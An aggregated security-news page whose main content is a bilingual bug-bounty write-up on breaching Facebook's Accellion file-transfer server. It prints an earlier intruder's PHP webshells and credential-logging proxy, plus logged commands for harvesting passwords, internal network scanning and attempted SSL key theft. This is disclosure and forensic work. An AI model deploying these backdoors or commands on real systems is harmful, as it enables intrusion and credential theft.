Aggregator

Large sports leagues are no strangers to the spotlight, and basketball is no different. The latest scandal? Last week, a...

The post What We Can Take Away from the Milwaukee Bucks Data Breach appeared first on McAfee Blog.

This week, a cybercriminal group going by the moniker “Peace” made headlines across the Internet. Peace didn’t do anything special....

The post Old Breach Revisited: Cybercriminal Sells 117 Million LinkedIn Credentials appeared first on McAfee Blog.

Today we released security updates to provide additional protections against malicious attackers. As a best practice, we encourage customers to apply security updates as soon as they are released. More information about this month’s security updates and advisories can be found in the Security TechNet Library. MSRC team

Today we released security updates to provide additional protections against malicious attackers. As a best practice, we encourage customers to apply security updates as soon as they are released. More information about this month’s security updates and advisories can be found in the Security TechNet Library. MSRC team

Our passwords hold the keys to our digital lives. We use them to access bank accounts, medical records, private conversations...

The post It’s World Password Day! Time to Beef Up Your Password Security appeared first on McAfee Blog.

This blog was written by Bruce Snell. Every year Verizon releases their Data Breach Investigations Report (DBIR), sharing a wealth...

The post Why Is the Verizon Data Breach Investigations Report Important to Me? appeared first on McAfee Blog.

Ongoing campaign analysis has revealed that Dridex malware's latest focus has strongly shifted in recent months to US banks.

除了CTF比赛和创业论坛的讨论，主论坛上的演讲其实都是相当有份量的嘉宾，基本上囊括了BAT3,传统的安全厂商还有亮闪闪的新锐的安全公司大牛。

by Orange Tsai

How I Hacked Facebook, and Found Someone’s Backdoor Script (English Version)
滲透 Facebook 的思路與發現 (中文版本)

Foreword

As a pentester, I love server-side vulnerabilities more than client-side ones. Why? Because it’s way much cooler to take over the server directly and gain system SHELL privileges. <(￣︶￣)>

Of course, both vulnerabilities from the server-side and the client-side are indispensable in a perfect penetration test. Sometimes, in order to take over the server more elegantly, it also need some client-side vulnerabilities to do the trick. But speaking of finding vulnerabilities, I prefer to find server-side vulnerabilities first.

With the growing popularity of Facebook around the world, I’ve always been interested in testing the security of Facebook. Luckily, in 2012, Facebook launched the Bug Bounty Program, which even motivated me to give it a shot.

From a pentester’s view, I tend to start from recon and do some research. First, I’ll determine how large is the “territory” of the company on the internet, then…try to find a nice entrance to get in, for example:

• What can I find by Google Hacking?
• How many B Class IP addresses are used? How many C Class IPs?
• Whois? Reverse Whois?
• What domain names are used? What are their internal domain names? Then proceed with enumerating sub-domains
• What are their preferred techniques and equipment vendors?
• Any data breach on Github or Pastebin?
• …etc

Of course, Bug Bounty is nothing about firing random attacks without restrictions. By comparing your findings with the permitted actions set forth by Bug Bounty, the overlapping part will be the part worth trying.

Here I’d like to explain some common security problems found in large corporations during pentesting by giving an example.

1. For most enterprises, “Network Boundary” is a rather difficult part to take care of. When the scale of a company has grown large, there are tens of thousands of routers, servers, computers for the MIS to handle, it’s impossible to build up a perfect mechanism of protection. Security attacks can only be defended with general rules, but a successful attack only needs a tiny weak spot. That’s why luck is often on the attacker’s side: a vulnerable server on the “border” is enough to grant a ticket to the internal network!
2. Lack of awareness in “Networking Equipment” protection. Most networking equipment doesn’t offer delicate SHELL controls and can only be configured on the user interface. Oftentimes the protection of these devices is built on the Network Layer. However, users might not even notice if these devices were compromised by 0-Day or 1-Day attacks.
3. Security of people: now we have witnessed the emergence of the “Breached Database” (aka “Social Engineering Database” in China), these leaked data sometimes makes the penetration difficulty incredibly low. Just connect to the breach database, find a user credential with VPN access…then voilà! You can proceed with penetrating the internal network. This is especially true when the scope of the data breach is so huge that the Key Man’s password can be found in the breached data. If this happens, then the security of the victim company will become nothing. :P
   
   

For sure, when looking for the vulnerabilities on Facebook, I followed the thinking of the penetration tests which I was used to. When I was doing some recon and research, not only did I look up the domain names of Facebook itself, but also tried Reverse Whois. And to my surprise, I found an INTERESTING domain name:

tfbnw.net

TFBNW seemed to stand for “TheFacebook Network”
Then I found bellow server through public data

vpn.tfbnw.net

WOW. When I accessed vpn.tfbnw.net there’s the Juniper SSL VPN login interface. But its version seemed to be quite new and there was no vulnerability can be directly exploited…nevertheless, it brought up the beginning of the following story.

It looked like TFBNW was an internal domain name for Facebook. Let’s try to enumerate the C Class IPs of vpn.tfbnw.net and found some interesting servers, for example:

• Mail Server Outlook Web App
• F5 BIGIP SSL VPN
• CISCO ASA SSL VPN
• Oracle E-Business
• MobileIron MDM

From the info of these servers, I thought that these C Class IPs were relatively important for Facebook. Now, the whole story officially starts here.

Vulnerability Discovery

I found a special server among these C Class IPs.

files.fb.com

↑ Login Interface of files.fb.com

Judging from the LOGO and Footer, this seems to be Accellion’s Secure File Transfer (hereafter known as FTA)

FTA is a product which enables secure file transfer, online file sharing and syncing, as well as integration with Single Sign-on mechanisms including AD, LDAP and Kerberos. The Enterprise version even supports SSL VPN service.

Upon seeing this, the first thing I did was searching for publicized exploits on the internet. The latest one was found by HD Moore and made public on this Rapid7’s Advisory

• Accellion File Transfer Appliance Vulnerabilities (CVE-2015-2856, CVE-2015-2857)

Whether this vulnerability is exploitable can be determined by the version information leaked from “/tws/getStatus”. At the time I discovered files.fb.com the defective v0.18 has already been updated to v0.20. But from the fragments of source code mentioned in the Advisory, I felt that with such coding style there should still be security issues remained in FTA if I kept looking. Therefore, I began to look for 0-Day vulnerabilities on FTA products!

Actually, from black-box testing, I didn’t find any possible vulnerabilities, and I had to try white-box testing. After gathering the source codes of previous versions FTA from several resources I could finally proceed with my research!

The FTA Product

1. Web-based user interfaces were mainly composed of Perl & PHP
2. The PHP source codes were encrypted by IonCube
3. Lots of Perl Daemons in the background

First I tried to decrypt IonCube encryption. In order to avoid being reviewed by the hackers, a lot of network equipment vendors will encrypt their product source codes. Fortunately, the IonCube version used by FTA was not up to date and could be decrypted with ready-made tools. But I still had to fix some details, or it’s gonna be messy…

After a simple review, I thought Rapid7 should have already got the easier vulnerabilities. T^T
And the vulnerabilities which needed to be triggered were not easy to exploit. Therefore I need to look deeper!

Finally, I found 7 vulnerabilities, including

• Cross-Site Scripting x 3
• Pre-Auth SQL Injection leads to Remote Code Execution
• Known-Secret-Key leads to Remote Code Execution
• Local Privilege Escalation x 2

Apart from reporting to Facebook Security Team, other vulnerabilities were submitted to Accellion Support Team in Advisory for their reference. After vendor patched, I also sent these to CERT/CC and they assigned 4 CVEs for these vulnerabilities.

• CVE-2016-2350
• CVE-2016-2351
• CVE-2016-2352
• CVE-2016-2353

More details will be published after full disclosure policy!

↑ Using Pre-Auth SQL Injection to Write Webshell

After taking control of the server successfully, the first thing is to check whether the server environment is friendly to you. To stay on the server longer, you have to be familiar with the environments, restrictions, logs, etc and try hard not to be detected. :P

There are some restrictions on the server:

1. Firewall outbound connection unavailable, including TCP, UDP, port 53, 80 and 443
2. Remote Syslog server
3. Auditd logs enabled

Although the outbound connection was not available, but it looked like ICMP Tunnel was working. Nevertheless, this was only a Bug Bounty Program, we could simply control the server with a webshell.

Was There Something Strange?

While collecting vulnerability details and evidences for reporting to Facebook, I found some strange things on web log.

First of all I found some strange PHP error messages in “/var/opt/apache/php_error_log”
These error messages seemed to be caused by modifying codes online?

↑ PHP error log

I followed the PHP paths in error messages and ended up with discovering suspicious WEBSHELL files left by previous “visitors”.

↑ Webshell on facebook server

some contents of the files are as follows:

sshpass

Right, THAT sshpass bN3d10Aw.php <?php echo shell_exec($_GET['c']); ?> uploader.php <?php move_uploaded_file($_FILES["f]["tmp_name"], basename($_FILES["f"]["name"])); ?> d.php <?php include_oncce("/home/seos/courier/remote.inc"); echo decrypt($_GET["c"]); ?> sclient\_user\_class\_standard.inc <?php include_once('sclient_user_class_standard.inc.orig'); $fp = fopen("/home/seos/courier/B3dKe9sQaa0L.log", "a"); $retries = 0; $max_retries = 100; // blah blah blah... fwrite($fp, date("Y-m-d H:i:s T") . ";" . $_SERVER["REMOTE_ADDR"] . ";" . $_SERVER["HTTP_USER_AGENT"] . ";POST=" . http_build_query($_POST) . ";GET=" . http_build_query($_GET) . ";COOKIE=" . http_build_query($_COOKIE) . "\n"); // blah blah blah...

The first few ones were typical PHP one-line backdoor and there’s one exception: “sclient_user_class_standard.inc”

In include_once “sclient_user_class_standard.inc.orig” was the original PHP app for password verification, and the hacker created a proxy in between to log GET, POST, COOKIE values while some important operations were under way.

A brief summary, the hacker created a proxy on the credential page to log the credentials of Facebook employees. These logged passwords were stored under web directory for the hacker to use WGET every once in a while

wget https://files.fb.com/courier/B3dKe9sQaa0L.log

↑ Logged passwords

From this info we can see that apart from the logged credentials there were also contents of letters requesting files from FTA, and these logged credentials were rotated regularly (this will be mentioned later, that’s kinda cheap…XD)

And at the time I discovered these, there were around 300 logged credentials dated between February 1st to 7th, from February 1st, mostly “@fb.com” and “@facebook.com”. Upon seeing it I thought it’s a pretty serious security incident. In FTA, there were mainly two modes for user login

1. Regular users sign up: their password hash were stored in the database and hashed encrypted with SHA256+SALT
2. All Facebook employees (@fb.com) used LDAP and authenticated by AD Server

I believe these logged credentials were real passwords and I GUESS they can access to services such as Mail OWA, VPN for advanced penetration…

In addition, this hacker might be careless:P

1. The backdoor parameters were passed through GET method and his footprinting can be identified easily in from web log
2. When the hacker was sending out commands, he didn’t take care of STDERR, and left a lot of command error messages in web log which the hacker’s operations could be seen

From access.log, every few days the hacker will clear all the credentials he logged

192.168.54.13 - - 17955 [Sat, 23 Jan 2016 19:04:10 +0000 | 1453575850] "GET /courier/custom_template/1000/bN3dl0Aw.php?c=./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'cp /home/seos/courier/B3dKe9sQaa0L.log /home/seos/courier/B3dKe9sQaa0L.log.2; echo > /home/seos/courier/B3dKe9sQaa0L.log' 2>/dev/stdout HTTP/1.1" 200 2559 ...

Packing files

cat tmp_list3_2 | while read line; do cp /home/filex2/1000/$line files; done 2>/dev/stdout tar -czvf files.tar.gz files

Enumerating internal network architecture

dig a archibus.thefacebook.com telnet archibus.facebook.com 80 curl http://archibus.thefacebook.com/spaceview_facebook/locator/room.php dig a records.fb.com telnet records.fb.com 80 telnet records.fb.com 443 wget -O- -q http://192.168.41.16 dig a acme.facebook.com ./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in $(seq 201 1 255); do for j in $(seq 0 1 255); do echo "192.168.$i.$j:`dig +short ptr $j.$i.168.192.in-addr.arpa`"; done; done' 2>/dev/stdout ...

Use ShellScript to scan internal network but forgot to redirect STDERR XD

Attempt to connect internal LDAP server

sh: -c: line 0: syntax error near unexpected token `(' sh: -c: line 0: `ldapsearch -v -x -H ldaps://ldap.thefacebook.com -b CN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=com -w '********' -s base (objectclass=*) 2>/dev/stdout'

Attempt to access internal server
(Looked like Mail OWA could be accessed directly…)

--20:38:09-- https://mail.thefacebook.com/ Resolving mail.thefacebook.com... 192.168.52.37 Connecting to mail.thefacebook.com|192.168.52.37|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://mail.thefacebook.com/owa/ [following] --20:38:10-- https://mail.thefacebook.com/owa/ Reusing existing connection to mail.thefacebook.com:443. HTTP request sent, awaiting response... 302 Moved Temporarily Location: https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 [following] --20:38:10-- https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 Reusing existing connection to mail.thefacebook.com:443. HTTP request sent, awaiting response... 200 OK Length: 8902 (8.7K) [text/html] Saving to: `STDOUT' 0K ........ 100% 1.17G=0s 20:38:10 (1.17 GB/s) - `-' saved [8902/8902] --20:38:33-- (try:15) https://10.8.151.47/ Connecting to 10.8.151.47:443... --20:38:51-- https://svn.thefacebook.com/ Resolving svn.thefacebook.com... failed: Name or service not known. --20:39:03-- https://sb-dev.thefacebook.com/ Resolving sb-dev.thefacebook.com... failed: Name or service not known. failed: Connection timed out. Retrying.

Attempt to steal SSL Private Key

sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied ls: /etc/opt/apache/ssl.key/server.key: No such file or directory mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied base64: invalid input

After checking the browser, the SSL certificate of files.fb.com was *.fb.com …

Epilogue

After adequate proofs had been collected, they were immediately reported to Facebook Security Team. Other than vulnerability details accompanying logs, screenshots and timelines were also submitted xD

Also, from the log on the server, there were two periods that the system was obviously operated by the hacker, one in the beginning of July and one in mid-September

the July one seemed to be a server “dorking” and the September one seemed more vicious. Other than server “dorking” keyloggers were also implemented. As for the identities of these two hackers, were they the same person? Your guess is as good as mine. :P
The time July incident happened to take place right before the announcement of CVE-2015-2857 exploit. Whether it was an invasion of 1-day exploitation or unknown 0-day ones were left in question.

Here’s the end of the story, and, generally speaking, it was a rather interesting experience xD
Thanks to this event, it inspired me to write some articles about penetration :P

Last but not least, I would like to thank Bug Bounty and tolerant Facebook Security Team so that I could fully write down this incident : )

Timeline

• 2016/02/05 20:05 Provide vulnerability details to Facebook Security Team
• 2016/02/05 20:08 Receive automatic response
• 2016/02/06 05:21 Submit vulnerability Advisory to Accellion Support Team
• 2016/02/06 07:42 Receive response from Thomas that inspection is in progress
• 2016/02/13 07:43 Receive response from Reginaldo about receiving Bug Bounty award $10000 USD
• 2016/02/13 Asking if there anything I should pay special attention to in blog post ?
• 2016/02/13 Asking Is this vulnerability be classify as a RCE or SQL Injection ?
• 2016/02/18 Receive response from Reginaldo about there is a forensics investigation, Would you be able to hold your blog post until this process is complete?
• 2016/02/24 Receive response from Hai about the bounty will include in March payments cycle.
• 2016/04/20 Receive response from Reginaldo about the forensics investigation is done

by Orange Tsai

How I Hacked Facebook, and Found Someone’s Backdoor Script (English Version)
滲透 Facebook 的思路與發現 (中文版本)

寫在故事之前

身為一位滲透測試人員，比起 Client Side 的弱點我更喜歡 Server Side 的攻擊，能夠直接的控制伺服器、獲得權限操作 SHELL 才爽 <(￣︶￣)>

當然一次完美的滲透任何形式的弱點都不可小覷，在實際滲透時偶爾還是需要些 Client Side 弱點組合可以更完美的控制伺服器，但是在尋找弱點時我本身還是先偏向以可直接進入伺服器的方式來去尋找風險高、能長驅直入的弱點。

隨著 Facebook 在世界上越來越火紅、用戶量越來越多，一直以來都有想要嘗試看看的想法，恰巧 Facebook 在 2012 年開始有了 Bug Bounty 獎金獵人的機制讓我更躍躍欲試。

一般如由滲透的角度來說習慣性都會從收集資料、偵查開始，首先界定出目標在網路上的 “範圍” 有多大，姑且可以評估一下從何處比較有機會下手。例如:

• Google Hacking 到什麼資料?
• 用了幾個 B 段的 IP ? C 段的 IP ?
• Whois? Reverse Whois?
• 用了什麼域名? 內部使用的域名? 接著做子域名的猜測、掃描
• 公司平常愛用什麼樣技術、設備?
• 在 Github, Pastebin 上是否有洩漏什麼資訊?
• …etc

當然 Bug Bounty 並不是讓你無限制的攻擊，將所蒐集到的範圍與 Bug Bounty 所允許的範圍做交集後才是你真正可以去嘗試的目標。

一般來說大公司在滲透中比較容易出現的問題點這裡舉幾個例子來探討

1. 對多數大公司而言，”網路邊界” 是比較難顧及、容易出現問題的一塊，當公司規模越大，同時擁有數千、數萬台機器在線，網管很難顧及到每台機器。在攻防裡，防守要防的是一個面，但攻擊只需找個一個點就可以突破，所以防守方相對處於弱勢，攻擊者只要找到一台位於網路邊界的機器入侵進去就可以開始在內網進行滲透了!
2. 對於 “連網設備” 的安全意識相對薄弱，由於連網設備通常不會提供 SHELL 給管理員做進一步的操作，只能由設備本身所提供的介面設定，所以通常對於設備的防禦都是從網路層來抵擋，但如遇到設備本身的 0-Day 或者是 1-Day 可能連被入侵了都不自覺。
3. 人的安全，隨著 “社工庫” 的崛起，有時可以讓一次滲透的流程變得異常簡單，從公開資料找出公司員工列表，再從社工庫找到可以登入 VPN 的員工密碼就可以開始進行內網滲透，尤其當社工庫數量越來越多 “量變成質變” 時只要關鍵人物的密碼在社工庫中可找到，那企業的安全性就全然突破 :P
   

理所當然在尋找 Facebook 弱點時會以平常進行滲透的思路進行，在開始搜集資料時除了針對 Facebook 本身域名查詢外也對註冊信箱進行 Reverse Whois 意外發現了個奇妙的域名名稱

tfbnw.net

TFBNW 似乎是 “TheFacebook Network” 的縮寫
再藉由公開資料發現存在下面這台這台伺服器

vpn.tfbnw.net

哇! vpn.tfbnw.net 看起來是個 Juniper SSL VPN 的登入介面，不過版本滿新的沒有直接可利用的弱點，不過這也成為了進入後面故事的開端。

TFBNW 看似是 Facebook 內部用的域名，來掃掃 vpn.tfbnw.net 同網段看會有什麼發現

• Mail Server Outlook Web App
• F5 BIGIP SSL VPN
• CISCO ASA SSL VPN
• Oracle E-Business
• MobileIron MDM

從這幾台機器大致可以判斷這個網段對於 Facebook 來說應該是相對重要的網段，之後一切的故事就從這裡開始。

弱點發現

在同網段中，發現一台特別的伺服器

files.fb.com

↑ files.fb.com 登入介面

從 LOGO 以及 Footer 判斷應該是 Accellion 的 Secure File Transfer (以下簡稱 FTA)

FTA 為一款標榜安全檔案傳輸的產品，可讓使用者線上分享、同步檔案，並整合 AD, LDAP, Kerberos 等 Single Sign-on 機制，Enterprise 版本更支援 SSL VPN 服務。

首先看到 FTA 的第一件事是去網路上搜尋是否有公開的 Exploit 可以利用，Exploit 最近的是由 HD Moore 發現並發佈在 Rapid7 的這篇 Advisory

• Accellion File Transfer Appliance Vulnerabilities (CVE-2015-2856, CVE-2015-2857)

弱點中可直接從 “/tws/getStatus” 中洩漏的版本資訊判斷是否可利用，在發現 files.fb.com 時版本已從有漏洞的 0.18 升級至 0.20 了，不過就從 Advisory 中所透露的片段程式碼感覺 FTA 的撰寫風格如果再繼續挖掘可能還是會有問題存在的，所以這時的策略便開始往尋找 FTA 產品的 0-Day 前進!

不過從實際黑箱的方式其實找不出什麼問題點只好想辦法將方向轉為白箱測試，透過各種方式拿到舊版的 FTA 原始碼後終於可以開始研究了!

整個 FTA 產品大致架構

1. 網頁端介面主要由 Perl 以及 PHP 構成
2. PHP 原始碼皆經過 IonCube 加密
3. 在背景跑了許多 Perl 的 Daemon

首先是解密 IonCude 的部分，許多設備為了防止自己的產品被檢視所以會將原始碼加密，不過好在 FTA 上的 IonCude 版本沒到最新，可以使用現成的工具解密，不過由於 PHP 版本的問題，細節部份以及數值運算等可能要靠自己修復一下，不然有點難看…

經過簡單的原始碼審查後發現，好找的弱點應該都被 Rapid7 找走了 T^T
而需要認證才能觸發的漏洞又不怎麼好用，只好認真點往深層一點的地方挖掘!

經過幾天的認真挖掘，最後總共發現了七個弱點，其中包含了

• Cross-Site Scripting x 3
• Pre-Auth SQL Injection leads to Remote Code Execution
• Known-Secret-Key leads to Remote Code Execution
• Local Privilege Escalation x 2

除了回報 Facebook 安全團隊外，其餘的弱點也製作成 Advisory 提交 Accellion 技術窗口，經過廠商修補提交 CERT/CC 後取得四個 CVE 編號

• CVE-2016-2350
• CVE-2016-2351
• CVE-2016-2352
• CVE-2016-2353

詳細的弱點細節會待 Full Disclosure Policy 後公布!

↑ 使用 Pre-Auth SQL Injection 寫入 Webshell

在實際滲透中進去伺服器後的第一件事情就是檢視當前的環境是否對自己友善，為了要讓自己可以在伺服器上待的久就要盡可能的了解伺服器上有何限制、紀錄，避開可能會被發現的風險 :P

Facebook 大致有以下限制:

1. 防火牆無法連外, TCP, UDP, 53, 80, 443 皆無法
2. 存在遠端的 Syslog 伺服器
3. 開啟 Auditd 記錄

無法外連看起來有點麻煩，但是 ICMP Tunnel 看似是可行的，但這只是一個 Bug Bounty Program 其實不需要太麻煩就純粹以 Webshell 操作即可。

似乎有點奇怪?

正當收集證據準備回報 Facebook 安全團隊時，從網頁日誌中似乎看到一些奇怪的痕跡。

首先是在 “/var/opt/apache/php_error_log” 中看到一些奇怪的 PHP 錯誤訊息，從錯誤訊息來看似乎像是邊改 Code 邊執行所產生的錯誤?

↑ PHP error log

跟隨錯誤訊息的路徑去看發現疑似前人留下的 Webshell 後門

↑ Webshell on facebook server

其中幾個檔案的內容如下

sshpass

沒錯，就是那個 sshpass bN3d10Aw.php <?php echo shell_exec($_GET['c']); ?> uploader.php <?php move_uploaded_file($_FILES["f]["tmp_name"], basename($_FILES["f"]["name"])); ?> d.php <?php include_oncce("/home/seos/courier/remote.inc"); echo decrypt($_GET["c"]); ?> sclient\_user\_class\_standard.inc <?php include_once('sclient_user_class_standard.inc.orig'); $fp = fopen("/home/seos/courier/B3dKe9sQaa0L.log", "a"); $retries = 0; $max_retries = 100; // 省略... fwrite($fp, date("Y-m-d H:i:s T") . ";" . $_SERVER["REMOTE_ADDR"] . ";" . $_SERVER["HTTP_USER_AGENT"] . ";POST=" . http_build_query($_POST) . ";GET=" . http_build_query($_GET) . ";COOKIE=" . http_build_query($_COOKIE) . "\n"); // 省略...

前幾個就是很標準的 PHP 一句話木馬
其中比較特別的是 “sclient_user_class_standard.inc” 這個檔案

include_once 中 “sclient_user_class_standard.inc.orig” 為原本對密碼進行驗證的 PHP 程式，駭客做了一個 Proxy 在中間並在進行一些重要操作時先把 GET, POST, COOKIE 的值記錄起來

整理一下，駭客做了一個 Proxy 在密碼驗證的地方，並且記錄 Facebook 員工的帳號密碼，並且將記錄到的密碼放置在 Web 目錄下，駭客每隔一段時間使用 wget 抓取

wget https://files.fb.com/courier/B3dKe9sQaa0L.log

↑ Logged passwords

從紀錄裡面可以看到除了使用者帳號密碼外，還有從 FTA 要求檔案時的信件內容，記錄到的帳號密碼會定時 Rotate (後文會提及，這點還滿機車的XD)

發現當下，最近一次的 Rotate 從 2/1 記錄到 2/7 共約 300 筆帳號密碼紀錄，大多都是 “@fb.com” 或是 “@facebook.com” 的員工帳密，看到當下覺得事情有點嚴重了，在 FTA 中，使用者的登入主要有兩種模式

1. 一般用戶註冊，密碼 Hash 存在資料庫，由 SHA256 + SALT 儲存
2. Facebook 員工 (@fb.com) 則走統一認證，使用 LDAP 由 AD 認證

在這裡相信記錄到的是真實的員工帳號密碼，**猜測** 這份帳號密碼應該可以通行 Facebook Mail OWA, VPN 等服務做更進一步的滲透…

此外，這名 “駭客” 可能習慣不太好 :P

1. 後門參數皆使用 GET 來傳遞，在網頁日誌可以很明顯的發現他的足跡
2. 駭客在進行一些指令操作時沒顧慮到 STDERR ，導致網頁日誌中很多指令的錯誤訊息，從中可以觀察駭客做了哪些操作

從 access.log 可以觀察到的每隔數日駭客會將記錄到的帳號密碼清空

192.168.54.13 - - 17955 [Sat, 23 Jan 2016 19:04:10 +0000 | 1453575850] "GET /courier/custom_template/1000/bN3dl0Aw.php?c=./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'cp /home/seos/courier/B3dKe9sQaa0L.log /home/seos/courier/B3dKe9sQaa0L.log.2; echo > /home/seos/courier/B3dKe9sQaa0L.log' 2>/dev/stdout HTTP/1.1" 200 2559 ...

打包檔案

cat tmp_list3_2 | while read line; do cp /home/filex2/1000/$line files; done 2>/dev/stdout tar -czvf files.tar.gz files

對內部網路結構進行探測

dig a archibus.thefacebook.com telnet archibus.facebook.com 80 curl http://archibus.thefacebook.com/spaceview_facebook/locator/room.php dig a records.fb.com telnet records.fb.com 80 telnet records.fb.com 443 wget -O- -q http://192.168.41.16 dig a acme.facebook.com ./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in $(seq 201 1 255); do for j in $(seq 0 1 255); do echo "192.168.$i.$j:`dig +short ptr $j.$i.168.192.in-addr.arpa`"; done; done' 2>/dev/stdout ...

使用 Shell Script 進行內網掃描但忘記把 STDERR 導掉XD

嘗試對內部 LDAP 進行連接

sh: -c: line 0: syntax error near unexpected token `(' sh: -c: line 0: `ldapsearch -v -x -H ldaps://ldap.thefacebook.com -b CN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=com -w '********' -s base (objectclass=*) 2>/dev/stdout'

嘗試訪問內部網路資源
( 看起來 Mail OWA 可以直接訪問 …)

--20:38:09-- https://mail.thefacebook.com/ Resolving mail.thefacebook.com... 192.168.52.37 Connecting to mail.thefacebook.com|192.168.52.37|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://mail.thefacebook.com/owa/ [following] --20:38:10-- https://mail.thefacebook.com/owa/ Reusing existing connection to mail.thefacebook.com:443. HTTP request sent, awaiting response... 302 Moved Temporarily Location: https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 [following] --20:38:10-- https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 Reusing existing connection to mail.thefacebook.com:443. HTTP request sent, awaiting response... 200 OK Length: 8902 (8.7K) [text/html] Saving to: `STDOUT' 0K ........ 100% 1.17G=0s 20:38:10 (1.17 GB/s) - `-' saved [8902/8902] --20:38:33-- (try:15) https://10.8.151.47/ Connecting to 10.8.151.47:443... --20:38:51-- https://svn.thefacebook.com/ Resolving svn.thefacebook.com... failed: Name or service not known. --20:39:03-- https://sb-dev.thefacebook.com/ Resolving sb-dev.thefacebook.com... failed: Name or service not known. failed: Connection timed out. Retrying.

嘗試對 SSL Private Key 下手

sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied ls: /etc/opt/apache/ssl.key/server.key: No such file or directory mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied base64: invalid input

從瀏覽器觀察 files.fb.com 的憑證還是 Wildcard 的 *.fb.com …

後記

在收集完足夠證據後便立即回報給 Facebook 安全團隊，回報內容除了漏洞細節外，還附上相對應的 Log 、截圖以及時間紀錄xD

從伺服器中的日誌可以發現有兩個時間點是明顯駭客在操作系統的時間，一個是七月初、另個是九月中旬

七月初的動作從紀錄中來看起來比較偏向 “逛” 伺服器，但九月中旬的操作就比較惡意了，除了逛街外，還放置了密碼 Logger 等，至於兩個時間點的 “駭客” 是不是同一個人就不得而知了 :P
而七月發生的時機點正好接近 CVE-2015-2857 Exploit 公佈前，究竟是透過 1-Day 還是無 0-Day 入侵系統也無從得知了。

這件事情就記錄到這裡，總體來說這是一個非常有趣的經歷xD
也讓我有這個機會可以來寫寫關於滲透的一些文章 :P

最後也感謝 Bug Bounty 及胸襟寬闊的 Facebook 安全團隊 讓我可以完整記錄這起事件 : )

Timeline

• 2016/02/05 20:05 提供漏洞詳情給 Facebook 安全團隊
• 2016/02/05 20:08 收到機器人自動回覆
• 2016/02/06 05:21 提供弱點 Advisory 給 Accellion 技術窗口
• 2016/02/06 07:42 收到 Thomas 的回覆，告知調查中
• 2016/02/13 07:43 收到 Reginaldo 的回覆，告知 Bug Bounty 獎金 $10000 USD
• 2016/02/13 詢問是否撰寫 Blog 是否有任何要注意的地方?
• 2016/02/13 詢問此漏洞被認為是 RCE 還是 SQL Injection
• 2016/02/18 收到 Reginaldo 的回覆，告知正在進行調查中，希望 Blog 先暫時不要發出
• 2016/02/24 收到 Hai 的回覆，告知獎金將會於三月發送
• 2016/04/20 收到 Reginaldo 的回覆，告知調查已完成

Performance tests try to reduce the risks of downtime or outages on multi-user systems by conducting experiments that use load to reveal limitations and errors in the system. Testing usually involves assessing the performance and capacity of systems that were expensive and time-consuming to build.

This blog post was written by Bruce Snell. Last week the United States Computer Emergency Readiness Team (known as US-CERT)...

The post Quick, it’s Time to Uninstall QuickTime for Windows! appeared first on McAfee Blog.

http://www.cnblogs.com/killbit/p/5393301.html 附上这篇文章，因为当时就已经想到了模拟上传，但是因为时间关系，所以就直接用PHP写了。现在改进一下，用VC+libcurl库。 我们也直接可以用MYSQL写入这段上传代码就可以了。 upload.html u

防止非法调用就是防止别人直接访问 PHP 文件，比如有些文件只是配置文件或者会输出一些内容，当别人直接访问时，就会看到这些内容，所以我们要阻止这种情况发生。 在

前几天和哥们做一次渗透测试，内网情况、防护相当严格。 内网不允许访问DMZ，DMZ不允许访问内网，除了服务端口，比如80，3306. 经过长时间的分析，就发现本机连接了内网的一个MYQL，发现WEB开启了PHPMYADMIN，于是模拟发包拿到了一个shell。 通过CURL来传递命令，发现即使对方是

We all like to be in the loop, especially when it comes to the news. Facebook notifications, news channels, and...

The post Scammers Abuse Trust in Google Alerts, Bypass Filters appeared first on McAfee Blog.